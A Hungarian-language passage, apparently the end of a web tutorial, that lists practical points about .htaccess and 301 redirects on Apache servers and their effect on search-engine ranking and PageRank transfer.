    Ezenkívül vegyük figyelembe az átirányítások néhány jellemzőjét:

    * A .htaccess átirányítási módszerek csak Apache-t futtató Linux-kiszolgálókon működnek, és a Mod-Rewrite modul engedélyezve van.
    * A .htaccess használata további terhelést jelent az Apache szerveren, hatékonyabb, ha ugyanazokat a parancsokat írja be a hpptd.conf konfigurációs fájljába, de általában a webmester nem fér hozzá.
    * 301-es átirányítás, lehetővé teszi a forgalom megtakarítását és az oldal PR-jának átadását a keresőmotoroknak (a Google számára biztosan).
    * a PR egyesítésének és átvitelének folyamata hosszú időt vesz igénybe - akár több hónapig is, és a keresőmotortól is függ, ezért ne törölje a régi oldalt vagy webhelyet, amíg a végső átvitel meg nem történik.
    * Egyes keresőmotorok további beállításokat igényelnek a webhelyek ragasztásához, például a Yandex esetében a robots.txt fájlt is regisztrálnia kell

    Következtetés. A régi oldalak új oldalakra vagy a régi oldalak új címre való átirányításának biztonságos módja a keresőmotorok rangsorának megőrzése mellett a 301-es átirányítás, amely lehetővé teszi az oldal régi PageRank értékének átvitelét az új webhelyre.

    A mod_rewrite-ről bővebben itt olvashat: